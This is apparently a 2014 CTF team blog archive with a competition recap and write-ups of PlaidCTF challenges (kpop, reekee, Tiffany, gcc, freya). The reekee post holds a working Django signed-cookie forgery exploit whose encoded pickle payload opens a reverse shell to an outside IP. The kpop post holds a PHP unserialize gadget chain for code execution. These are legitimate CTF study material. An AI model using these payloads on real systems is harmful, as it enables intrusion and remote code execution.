Tuesday, June 10, 2014

Update: Dragon Sector wins the PHDays CTF Finals 2014!

Three weeks ago, the Dragon Sector team represented by j00ru, valis, redford, mak, tkd and q3k took part in the onsite finals of the PHD CTF - a team hacking competition organized during the Positive Hack Days conference held in Moscow on 21th-22th of May, 2014. Since it was the first time for our team to travel to Russia to play an offline CTF, and Positive Technologies together with the Techno Pandas team have always been known for running great events, we were really excited to be part of this year's edition - and even more so given that we really enjoyed the qualification round, which we also won by the way. In this post, we would like to tell you the story of the finals as seen by the members of DS.

Photo by tylerni7 / PPP
Prior to even arriving in Moscow, we received several e-mails outlining the different rules and specifics of the CTF system. As it turned out, the organizers had planned something far beyond a regular Attack-Defense or Jeopardy style competition - a mixture of the two combined with SCADA and ATM hacking, puzzles aligned with the PHD storyline, and game mechanics involving aspects of resource planning. While we don't have a point of reference to compare with previous years, we can definitely say this year's edition was pretty damn epic. The overall logic of the game is well illustrated by the image below. Once we checked in the hotel, we spent a fair part of the evening figuring out the best strategy to use during the game ahead of us.

On the first day of the finals, we came to the conference venue early so that we had enough time to set the infrastructure up and double check everything worked properly. The images of virtual machines were handed off to all ten participating teams at 9:00, and we had until 10:00 to make sure the three services were up and functional. Then, the CTF started.

The three services we found inside the Linux VM were:
  • cardbook: a simple Python bot for the Cheat card game. Unlike regular Attack-Defense tasks, the script was not exploitable and the teams were supposed to score flags by improving the logic implemented in the original code, in order to win flags from the other players.
  • hacker (holynet): a web service written in .NET and ran using Mono, with no source code or other information initially available.
  • mobol: a custom Python service with two vulnerabilities (RCE via unsafe pickle usage and SHA1 length extension attack) explicitly listed out in the source code.
Keeping one's services online and exploiting vulnerabilities in the competitors' boxes would earn each team three kinds of resources (each corresponding to one service), which could then be exchanged for gold (ranking points) or used to open some 16 jeopardy-style tasks. For the most part of the first day, we focused on solving the tasks, as this is generally our area of expertise. The categories we could choose from were forensics, reverse engineering, web, cryptography and pwnables, and the challenges were rated from 1000 to 5000 points based on their difficulty. At the same time, we tried to make sure all of our services were responsive, and also tweaked them in a few simple ways (such as adding code for submitting flags in cardbook). At 18:00 sharp, when Day 1 officially ended, we were at the top of the ranking with service downtime less than 5% and one quest and four jeopardy tasks solved (including a lockpicking one ;-)).

Photo by q3k
When the second day of the contest started at 10:00, we could see that the other teams worked hard on the offline tasks during the night - within an hour after the start, several teams submitted their flags, consequently pushing us down from the first to the fifth place. However, we have quickly caught up with them by solving another four tasks, and also by significantly improving the winning rate of our cardbook bot by implementing several simple heuristics and stealing flags off other teams by exploiting a RCE vulnerability in the holynet service, while patching the flaws in our binary at the same time. The latter was possible thanks to the fact that we found a third-party unpacker which we then subsequently used together with a decompiler to analyze the C# code, spot the bugs and recompile the executable as necessary. Truth be told, we never got around to attacking the SCADA systems or doing the special Qiwi quest, since there was just enough work for each of us in the area of services and tasks.

Things got really intense around 30 minutes before the end of the competition - we were the first team to exchange all of our pending resources for gold, thus gaining more than 15,000 points in a few seconds and instantly taking the first place. Seeing this, all of the other teams started selling their resources too, getting dangerously close to our score. The team that got the closest was int3pids who were only ~300pts away, which is less than the lowest-rated task, with others keeping the distance of a few thousand points. We spent the last minutes making absolutely sure that all of our services and exploits were running, but also fending off DoS attempts launched at the holynet service by another team. There was one scary moment when the BalalaikaCr3w team submitted a flag worth 5000 points just five minutes before the end of the CTF, jumping to third place (previously taken by More Smoked Leet Chicken), just a thousand points away from us. Fortunately, no other teams surprised us with any hoarded flags and a few minutes later we were enjoying a moment of triumph. :)

Photo by tylerni7 / PPP
After the CTF was over, all teams were asked to make room for another competition which would take place in the same area: 2DRUNK2HACK, with the goal of hacking a web application behind a WAF while drinking tequila shots for being detected by the protection system - exactly the type of event you would expect from a Russian conference. Soon after that the closing ceremony started, going through the numerous contests and eventually reaching the CTF results. All participating teams were handed their respective banners, and the top3 teams also won actual prizes.

Our overall experience with the CTF was really positive, both from the organizational side (partial flight reimbursement, transport between the hotel, airport and conference venue, the CTF area) and technical side. There was a lot of things to hack, so each team could choose their favourite way of earning points, the challenges were interesting (and quite difficult, to be honest) and the infrastructure worked properly throughout the finals. A few minor hiccups such as loud music or a task down for a while are certainly not sufficient to efface the excellent impression PHDays made on us. We will definitely see you guys next year!

Friday, May 2, 2014

re300 sources

Because you guys found this keygen-me very hard and interesting (thanks!) during the game we've decided to publish the sources of re300 task which was one of the challenges in the teaser organised by us this year. In fact this crack-me is a bit large (if it's not so visible in compiled version you can check the sources) and the main idea behind was to give you some fun in front of disassembler and debugger and enforce you to catch some patterns and recognise structures which were used without decompiling all of the code. In fact, the original one was a stripped mach-o binary that was found to be a bit too challenging ;) and about 24h before the CTF it appeared that it'll be elf64 binary with the symbols included. For win-reversers: I can promise that next time it will be something for you too! And finally here are the sources.

warning: spoilers below!

So in few words: the big trouble here, without questions, was the RE part - but it could by a bit bypassed by setting the right breakpoints and dumping the code. In fact the very good results could be achieved by disassembling only virtual machine instructions and than use some semi-automatic approach and dump the instruction with its arguments when the breakpoint was hit. Having the code (you can find nice emulator here, good work smola) the next step was to understand that it's not reversible (it is a version of a serpent encryption and decryption) and to brute force it. But bruteforcing 48bit hash could be a little bit slow as for 36h CTF, so the great performance boost could be achieved using birthday attack to crack the password and the token both at the same time. For those interested in practical solution: the sources of keygen.

Sunday, April 27, 2014

PlaidCTF 2014 - kpop and reeekeee

kpop (web200)

We were given the source files of a service used to archive information about our favorite songs - after some quick skimming through the code, we saw that it used PHP serialize to keep the state and save revived data to db, and additionally used unserialize on user-supplied data. Could we use it? Yes we could. There is a nice _destruct method in the class in question, which appends data to logs.
-- _destruct --
  function writeLog($txt) {
    $txt = $this->format->format($txt);
    file_put_contents("/var/www/sqli/unserial/logs/" . $this->filename, $txt, FILE_APPEND);
  }
  ...
  function log($txt) {
    $this->logwriter->writeLog($txt);
  }
  ...
  function __destruct() {
    $this->song->log();
  }

-- _destruct -- 
Let's chain some class to write our file on disk... wait, we can't - there's no writable catalog anywhere in the filesystem. :( But hey, let's look carefully at logger - there's a preg_replace and we can control the regular expression!
-- logger --
class LogWriter_File {
  protected $filename;
  protected $format;
  function __construct($filename, $format) {
    $this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
    $this->format = $format;
  }
  function writeLog($txt) {
    $txt = $this->format->format($txt);
    file_put_contents("/var/www/sqli/unserial/logs/" . $this->filename, $txt, FILE_APPEND);
  }
};
-- logger --
By using the /e switch, we can execute arbitrary code:
-- exploit --
matchPattern=$a;$this->replacement=$b;}
}
class LogFileFormat {
  public $filters,$endl;
  function __construct($a){$this->filters=$a;$this->endl='';}
}
class LogWriter_File {
  protected $filename,$format;
  function __construct($b){$this->filename='';$this->format=$b;}
}
class Logger {
  protected $logwriter; 
  function __construct($a){$this->logwriter=$a;}
}
class Song {
  protected $logger,$name,$group,$url;
  function __construct($a){$this->url=$this->name=$this->group='';$this->logger=$a;}
}
class Lyrics { 
  protected $lyrics,$song;
  function __construct($a){$this->lyrics='';$this->song=$a;}
}
$of = new OutputFilter('/(.*)/e',$payload);
$w = new LogWriter_File(new LogFileFormat($of));
$e = new Lyrics(new Song(new Logger($w)));
echo base64_encode(serialize($e));
-- exploit --
Flag: One_of_our_favorite_songs_is_bubble_pop 
 

reekee (web200)

We were given the source files of a django based web service used to share and upload memes, and we could upload arbitrary files via HTTP. Neat.
-- cut --
    url = request.POST['url']
    text = request.POST['text']
    try:
      if "http://" in url:
        image = urllib2.urlopen(url)
      else:
        image = urllib2.urlopen("http://"+url)
    except:
-- cut --
Oh, only via HTTP? Nope, urllib2 can handle more than just HTTP URLs, it supports the file and ftp protocols, so we can use file:// to read local files - if we can squeeze in the "http://" string somewhere in the filename. In order to do it, we can put the "http://" after hash (see http://en.wikipedia.org/wiki/Fragment_identifier); something like "file://file#http://". By doing this, we could read arbitrary local files, but searching for flag / key yielded nothing, so we took a different road and saw that the session was serialized with pickle and cookie was signed in settings.py.
-- settings.py --
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
-- settings.py
The signing was done with an HMAC with a secret stored in settings.py. Let's read it and forge some cookies to get RCE (django code ripped from: https://github.com/danghvu/pwp)
--- exploit ---

import os, hashlib, sys, pickle
import requests, subprocess
from hmac import new as hmac
from base64 import b64encode as b64
from lxml import etree
def send_django(key, add, payload,t):
    def base64(s): #taken from django
        import base64
        return base64.urlsafe_b64encode(s).strip(b'=')

    def salted_hmac(salt, value, secret): #taken from django
        key = hashlib.sha1((salt + secret).encode('utf-8')).digest()
        return hmac(key, msg=value, digestmod=hashlib.sha1).digest()

    import time
    import baseconv #taken from django

    timestamp = baseconv.base62.encode(str(int(time.time())))
    data = base64(payload)+":"+timestamp
    mac = base64(salted_hmac('django.contrib.sessions.backends.signed_cookiessigner', data, key)) #default salt by django
    s = '%(payload)s:%(time)s:%(mac)s'%{'payload':base64(payload), 'time':timestamp, 'mac':mac}
    t.update({'sessionid':s})
    return requests.get(add, cookies=t)

IP = '91.228.198.97'
PORT = 41412
url ='http://54.82.251.203:8000'
r = requests.get(url+'/login')
cook = r.cookies
tok = r.cookies['csrftoken']
print tok
r = requests.post(url+'/login',data={'username':'dragonfap','password':'dragonfap','csrfmiddlewaretoken':tok},cookies=cook)
print r.text
p = "ctypes\nFunctionType\n(cmarshal\nloads\n(cbase64\nb64decode\n(S'YwAAAAAFAAAAAwAAAEMAAABzmAAAAHQAAGQBAIMBAH0AAHQAAGQCAIMBAH0BAHQAAGQDAIMBAH0CAHwAAGoBAIMAAH0DAHwDAGoCAGQLAIMBAAF8AgBqAwB8AwBqBACDAABkBgCDAgABfAIAagMAfAMAagQAgwAAZAcAgwIAAXwCAGoDAHwDAGoEAIMAAGQIAIMCAAF8AQBqBQBkCQBkCgBnAgCDAQB9BABkAABTKAwAAABOdAYAAABzb2NrZXR0CgAAAHN1YnByb2Nlc3N0AgAAAG9zcw0AAAA5MS4yMjguMTk4Ljk3acShAABpAAAAAGkBAAAAaQIAAABzBwAAAC9iaW4vc2hzAgAAAC1pKAIAAABzDQAAADkxLjIyOC4xOTguOTdpxKEAACgGAAAAdAoAAABfX2ltcG9ydF9fUgAAAAB0BwAAAGNvbm5lY3R0BAAAAGR1cDJ0BgAAAGZpbGVub3QEAAAAY2FsbCgFAAAAdAIAAABzc3QCAAAAc3BSAgAAAHQBAAAAc3QBAAAAcCgAAAAAKAAAAABzGAAAAC9ob21lL21hay9waHVuL3BpY2tsZS5weXQDAAAAcHduBgAAAHMSAAAAAAIMAQwBDAEMAA0BFgAWABYB'\ntRtRc__builtin__\nglobals\n(tRS''\ntR(tR."
SECRET_KEY = 'kgsu8jv!(bew#wm!eb3rb=7gy6=&5ew*jv)j-6-(50$f%no98-'
r = send_django(SECRET_KEY,url+'/make',p,cook)
print r.text
--- exploit ---
On listener:
$ nc -l -p 41412
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(reekee) gid=1001(reekee) groups=1001(reekee)
$ give_me_the_flag.exe  mymeme  use_exe_to_read_me.txt
$ ./give_me_the_flag.exe
flag: why_did_they_make_me_write_web_apps
write: Success

Thursday, April 24, 2014

PlaidCTF 2014 - solutions to multiple challenges

Two weeks ago, I participated in Plaid CTF with the team, solving several interesting tasks mostly but not solely related to low-level exploitation. Below, I'm sharing the solutions to all challenges I had a chance to play with:
Enjoy!

Monday, April 21, 2014

CONFidence DS Teaser CTF registration is open!

Without further ado: http://ctf.dragonsector.pl/.

The teaser will start on the 26th of April, 9:00 A.M. CEST (GMT+2) - for other timezones click here - and will consist of five tasks (web, re, pwn, crypto, stegano). Please note this is an individual CTF.

The top three players will receive entrance tickets to the CONFidence conference, which will take place on the 27th-28th of May in Cracow, Poland. All other participants will receive discounts for the same conference, starting at 20% up to 50%.

We will also run an offline individual CTF with about 25 tasks at CONFidence - more details will follow soon.

See you on the battlefield!

Sunday, April 20, 2014

Plaid CTF 2014 - Tiffany writeup

Looking at the binary for the first time we can say that this challenge is a 64bit ELF binary that does something related with ptrace. Because Hex-Rays fails with decompiling 64bit code we need to play a bit with a disassembler and find out how does the program work. To solve this crackme I’ve used Bokken (this is quite nice frontend for pyew & radare). After some time spend in front of disassembler and debugger I was able to say that the program has used a bit unconventional way of sending the messages that looked as follow:
  1. Attach to a process
  2. Set the dword at 0x618180 to 0x1 // notify about the message
  3. Set the dword at 0x618184 to destination id // each pid had its unique id
  4. Set the dword at 0x618188 to message type // offset in the procedures table
  5. Fill the space from 0x61818c up to 0x69818c by message arguments
  6. Detach from the process
  7. Send the signal to the process
Each (except parent) process had its own dispatcher of incoming messages that was checking address 0x618180 and when it was set to some not-null value, the corresponding handler of the message was called (based on the message type).

The dispatcher:



So when the message arrived, first it was checked if it was addressed to self node (which id was hold in r13) and if not, it was forwarded to previous from 7 nodes using the same method as described earlier (attach, modify memory, detach, signal). Using this scheme the parent process could send the message to any node having the handler only to its first child which would forward the message to the other node and so forth...


In fact the child process forwards the message to its predecessor and the initial predecessor of the #0 child was the parent node but the parent process changes it by sending the message to #0 asking to set the default forward node to #6 (function with offset 0 in procedures table, let’s use one-based indexing and name it the message of the first type).

Using this message forwarding, the parent process sends many messages of the second type to #0 where each message is addressed for different child:

for (child = 0; child < 8; ++child):
  r14 = [0x618160 + 4*child]
  ptrace_attach([0x618160 + 4*r14])
  ptrace_modify([0x618160 + 4*r14], 0x618180, 1)
  ptrace_modify([0x618160 + 4*r14], 0x618184, r14)
  ptrace_modify([0x618160 + 4*r14], 0x618188, 1)
  r12 = [0x6180c0 + 8*r14]
  r13 = [0x618100 + 4*r14]
  for (i = 0; i < r13; ++i)
    ptrace_modify([0x618160 + 4*r14], 0x61818c + 4*i, [r12 + 4*i])
  ptrace_detach([0x618160 + 4*r14])

From high level perspective the handler of the second messages does quite a simple thing, just stores the memory - argument of procedure - to it’s internal buffer (*0x618140 + 4):

Procedure #2 at 0x401196:
  length = *0x61818c * 0x404
  *0x618140 = malloc(4 + length)
  *0x618140 = (DWORD)*0x61818c
  memcpy(buffer, length, 0x618190)

It takes a moment and after that we are asked to enter the string of our choice:

This may take a while...
.......
Please enter a string: _

When we enter some password, the parent process starts to send the fourth type of messages to its first child:

for each letter in password:
  ptrace_attach(*0x618160) // first child
  ptrace_modify(*0x618160, 0x618180, 1)
  ptrace_modify(*0x618160, 0x618184, 0)
  ptrace_modify(*0x618160, 0x618188, 3)
  ptrace_modify(*0x618160, 0x61818c, [rsp+0x98]) // letter
  ptrace_detach(*0x618160)

but as we can see, the child forwards it to its predecessor:

Procedure #4 at 0x4011f5:
  *0x618148 = (DWORD)[buffer + 4*(*0x618148 * 0x101 + *0x61818c + 1)]
  if (r14d < 7) // not the last child
  {
    ptrace_attach(*0x61814c) // predecessor
    ptrace_modify(*0x61814c, 0x618180, 1)
    ptrace_modify(*0x61814c, 0x618184, r15) // self id + 1
    ptrace_modify(*0x61814c, 0x618188, *0x618188)
    for (i = 0; i < 0x20000; ++i)
      ptrace_modify(*0x61814c, 0x61818c + 4*i, *(0x61818c + 4*i)
    ptrace_detach(*0x61814c)
  }
  else notify parent about finish

In practise it looks like each child except the last one sends the message to its predecessor addressed to its successor, so the message is forwarded by all of the nodes to finally reach its destination. If you look closer to this procedure it not only forwards the data but also changes the state using the received letter. Finally when all of the letters are sent, the parent submits the last message (third type) that is some kind of a check of a password and looks like this:

Procedure #3 at 0x400db8:
  [rsp+0x98] = getpid()
  [rsp+0x9c] = 1
  for (int i = 0; i < 8; ++i)
    if (i == myId)
    {
      [rsp+0x9c] &= [buffer + 4*(*0x618148 * 0x101)]
    }
    else
    {
      ptrace_attach(*0x61814c);
      ptrace_modify(*0x61814c, 0x618180, 1)
      ptrace_modify(*0x61814c, 0x618184, i)
      ptrace_modify(*0x61814c, 0x618188, 4)
      ptrace_modify(*0x61814c, 0x61818c, [rsp+0x98])
      ptrace_detach(*0x61814c)

      while (*0x618180 == 0) sleep()
      *0x618180 = 0

      [rsp+0x9c] &= *0x61818c
    }

  ptrace_attach(*0x618150)
  ptrace_modify(*0x618150, 0x618180, 1)
  ptrace_modify(*0x618150, 0x618180, 0)
  ptrace_modify(*0x618150, 0x618188, 0)
  ptrace_modify(*0x618150, 0x61818c, [rsp+0x9c])
  ptrace_detach(*0x618150)

So in short: send the message of the fifth type to each node except myself and wait for the answer. In the end send the message to parent informing if each of the nodes verified the password as true.

Procedure #5 at 0x40142c:
  [rsp+98] = [buffer + 4*(*0x618148 * 0x101)]
  ptrace_attach(*0x61818c)
  ptrace_modify(*0x61818c, 0x618180, 1)
  ptrace_modify(*0x61818c, 0x618184, 0)
  ptrace_modify(*0x61818c, 0x618188, 0)
  ptrace_modify(*0x61818c, 0x61818c, [rsp+98])
  ptrace_detach(*0x61818c)

Now having the knowledge how all of this stuff works, we could try to find the string that will be verified by all of child nodes. The value returned by each child is:

[buffer + 4*(*0x618148 * 0x101)]

where *0x618148 is previously generated from password letters:

*0x618148 = (DWORD)[buffer + 4*(*0x618148 * 0x101 + *0x61818c + 1)]

which looks like some kind of map… and in fact it is sort of map or finite state machine whose states are described by this fragments of memory previously transferred to each of the nodes. Now doing the boring part of analysis this memory chunks and transforming it into finite state machines we are able to discover that each of children checks some part of the password.

Using regular expressions:

#0: ^\{[^}]*\}$
#1: ^.{32}$
#2: _[^_]*_[^_]*_
#3: ^.my
#4: _synchronization
#5: _[^_]*_skills
#6: _[^_]*_[^_]*_suck

All of these parts can be easily merged to the final solution: {my_synchronization_skills_suck} 
That's all, nice one.

Monday, April 14, 2014

PlaidCTF 2014 - gcc (300) and freya (250)

PlaidCTF 2014 was an awesome event. This year it gathered ~1000 teams competing by solving really challenging and fun tasks (there were a lot of them - mostly tricky, requiring solid knowledge as well as good intuition, more than requiring a lot of mundane work with debugger). Our team - the Dragon Sector - finished 2nd this time.

Both tasks mentioned in the post title have been solved by only 5 teams each, so you're probably longing to find out how we cracked them? Here it is, just remember - both of the tasks were solved rather by means of testing, guessing and trying various things and not by any subtle and meticulous analysis. If you'd like to learn more about technologies described here (GCC and Kerberos) it'd be way better if you got a good specification on this software, instead of getting the knowledge by reading our solutions :).

OK, for those who like the hacker-way-of-solving things, here's our story:

GCC (300)

The task has been solved by jagger, gynvael & valis.

Description:
This is bad. Very bad. You travel back in time, only to see that The Plague has finagled his way to the gcc dev team. What sort of mischief he can cause for the future from this point of power is hard to say... find out what he's up to immediately! Here's a copy of GCC. We're pretty sure he's running something at https://107.21.133.9/.

After clicking on the link we were given a complete gcc toolchain for the 64-bit Linux system. At this point we started just poking randomly around the toolchain, looking at outputs produced by it, and comparing with the stock compiler's outputs. We also compiled the same version of the compiler with the same flags (found in one of the .h files), but due to too much diff noise, it was really hard to compare those two gcc toolchains. We were considering using zynamic's BinDiff, but in the end we took another approach.

As nothing interesting came out from our quick poking around the compiler toolchain, we started looking at https://107.21.133.9/. It's a simple web-page served over a HTTPS server and displaying just "Unauthorized.".

Authors of the task mentioned that the software compiled with the aforementioned backdoored gcc is running on the host, so we were able to come up with only limited number of plausible software suites that could be used there:
  • Apache
  • OpenSSL (cause the Apache was running with mod_ssl.so or with SSL proxy)
and a couple of less obvious ones:
  • PHP
  • Python
  • various utility libs (zlib, libc etc.)
And we were just lucky, because the first software suite we compiled with the backdoored gcc was OpenSSL. After comparing the original and backdoored versions with diff -Nu (by dumping the asm with objdump -d libssl.so), it turned out that one of the OpenSSL function had been modified, and it was .....wait for it.... ssl_verify_cert_chain():). In essence, the following code block was responsible for the complete backdoor functionality:

.text:00000000000009A0 loc_9A0:   ; CODE XREF: ssl_verify_cert_chain+20j
.text:00000000000009A0                 xor     esi, esi
.text:00000000000009A2                 mov     rdi, rbx
.text:00000000000009A5                 call    sk_value        ; PIC mode
.text:00000000000009AA                 mov     rcx, [rax+20h]
.text:00000000000009AE                 mov     rdx, rax
.text:00000000000009B1                 mov     eax, 1
.text:00000000000009B6                 cmp     dword ptr [rcx], 233D4F2Fh
.text:00000000000009BC                 jz      short loc_994
; ---------------------------------------------------------------------------
.text:0000000000000994 loc_994:  ; CODE XREF: ssl_verify_cert_chain+4Cj
.text:0000000000000994           ; ssl_verify_cert_chain+149tj
.text:0000000000000994                 add     rsp, 110h
.text:000000000000099B                 pop     rbx
.text:000000000000099C                 pop     rbp
.text:000000000000099D                 pop     r12
.text:000000000000099F                 retn

As you probably noticed, the code is trying to get "something" from the OpenSSL's x509 certificate stack (sk_value), and then verifies that data, by comapring the 4 first bytes pointed by a pointer fetched from this stack, to 0x233D4F2F (little endian). Those 4 bytes, when converted to an ASCII string, give:

/O=#

Now, this looked suspliciously similar to the format used by X509 certificates to store information about DNs (Distinguished Names), didn't it?

So, if this check (cmp dword ptr [rcx], 233D4F2Fh) succeeds, the code skips any further validation attempts and just "returns 1". We also confirmed, by reading the OpenSSL source code, that, indeed, the pointer at sk_value + 0x20 points to the peer certificate's DN.

Diff of original and modified libssl.so

We tried to create a self-serving certificate with (Organization) O=# but it wasn't that easy. First of all, the default openssl x509 command requires that the first DN field, the country, is actually set to something sane. We bypassed that, by editing /usr/lib/ssl/openssl.cnf and setting countryName_min value to 0. We also edited a few other things there, so their default values could be empty (so the certificate's DN string could start with /O=).

Then, we created a proper key/certificate pair.

$ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem 
Generating a 2048 bit RSA private key
.................................................+++
......+++
writing new private key to 'key.pem'
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
Country Name (2 letter code) []:
State or Province Name (full name) []:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]: #
Organizational Unit Name (eg, section) []: AA
Common Name (e.g. server FQDN or YOUR name) []:ABC
Email Address []:A@o.com

Used it with wget:

$ wget --no-check-certificate --certificate=cert.pem --private-key=key.pem https://107.21.133.9 -O -
Enter PEM pass phrase:

Connecting to 107.21.133.9:443... connected.
WARNING: cannot verify 107.21.133.9's certificate, issued by ‘/C=US/O=Plaid CTF/L=Pittsburgh/ST=Pennsylvania/CN=Certificate Authority’:.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<head>
<title>Flag Service</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>
<h3>Only members of "Plaid CTF" are allowed. You are part of "AA".</h3>
</body>

Ha.. that's really close! We figured out that "AA" is our OU (Organizational Unit), and we changed it to "Plaid CTF". Another wget request, and we got the flag:

$ wget --no-check-certificate --certificate=cert.pem --private-key=key.pem https://107.21.133.9 -O -
Enter PEM pass phrase:

Connecting to 107.21.133.9:443... connected.
WARNING: cannot verify 107.21.133.9's certificate, issued by ‘/C=US/O=Plaid CTF/L=Pittsburgh/ST=Pennsylvania/CN=Certificate Authority’:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<head>
<title>Flag Service</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>
<h3>Your flag: </h3><p>bleeding_trust_on_your_reflections</p>

</body>




Freya (250)

This task has been solved by jagger, redford & vnd.

Description:
We've traveled back far, but this protocol looks familiar... Our reconnaissance team did a great job, they got us a data capture from the currently running systems and a private key from the server (shell.woo.pctf which resolves to 54.226.73.167) . Take a look at the traffic our reconnaissance team picked up, and see if you can get access to The Plague's server, at 54.226.73.167.

The archive contained the following files:
  • in/password
  • in/freya_priv.pem
  • in/freya.pcapng
  • in/freya_cert.pem
The *.pcapng file included two types of TCP sessions. 

1). Two HTTPS requests (the plain HTTP content can be decoded with Wireshark by providing freya_priv.pem and freya_cert.pem to the SSL protocol analyzer). They were directed at  54.226.73.167:443, and contained the following request.

POST /kkdcp HTTP/1.0
Cache-Control: no-cache
Pragma: no-cache
User-Agent: kerberos/1.0
Content-type: application/kerberos
Content-length: 280

0j0
k0i0MIT0LEC0A:8x[o>8ZkZ~=kgZG;|[R!ODN\s0
}0{P00ppp
WOO.PCTF!00hostshell.woo.pctf20140413023756Z"U0
WOO.PCTF

Wireshark analysys of the in/freya.pcapng


2). A SSH session with 54.226.73.167

The HTTP session consisted of two distinct HTTP request/replies pairs. The first one looked like a Kerberos ticket request or somesuch, didn't it? . It was replied with a NEEDED_PREAUTH message, which basically means that a user password is required. The second HTTP POST request presumably provided a password, and the KRB ticket for host/shell.woo.pctf@WOO.PCTF had been returned in response to that. It's all guessing, but having been working with Kerberos for some time, it seemed like an educated guess.

We started proxying custom kinit requests for the key (rewriting kerberos protocol to HTTPS and back) in order to obtain a new kerberos key, but something wasn't right. It seems that the HTTPS requests and replies were encapsulated in some kind of container, and carried additional bytes at the beginning of each packet (9 and 12 bytes in those HTTP requests respectively). So, we simply added those bytes with our proxy (a simple net/file proxy written in C), taken from the original TCP/HTTPS session visible in wireshark. We also removed those unnecessary bytes from the KDC responses so kinit could interpret them.

With that, we were able to get the ticket by feeding kinit with proxied data. We spent some time on getting the right parameters to the kinit command, but after some forth and back we found the right combination: kinit -S host/shell.woo.pctf ppp. It's worth noting that by default kerberos was asking for the tgt (ticket granting ticket), a request which wasn't replied to by the KDC server set up by PPP.

This task also required modifying the local /etc/krb5.conf, so the ticket requests were directed at our proxy and not at some random server. The essential part of it:

[realms]
  WOO.PCTF = {
    kdc = 127.0.0.1:9999
    default_domain = woo.pctf
  }
[domain_realm]
  woo.pctf = WOO.PCTF


By providing password found the in/password file (shellpls), we were able to obtain a valid ticket for shell.woo.pctf from this peculiar KDC.

$ klist -a
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: ppp@WOO.PCTF
Valid starting       Expires               Service principal
04/13/2014 15:48:41 04/14/2014 15:48:25 host/shell.woo.pctf@WOO.PCTF

Now, let's repeat parameters of the ssh session which we found in the *.pcapng

$ ssh ppp@54.226.73.167 -o GSSAPIKeyExchange=yes -o GSSAPIServerIdentity=shell.woo.pctf
M1T&H31MD4L&M1CR0$0FT&SH1SH1


Voila! Hope you liked it!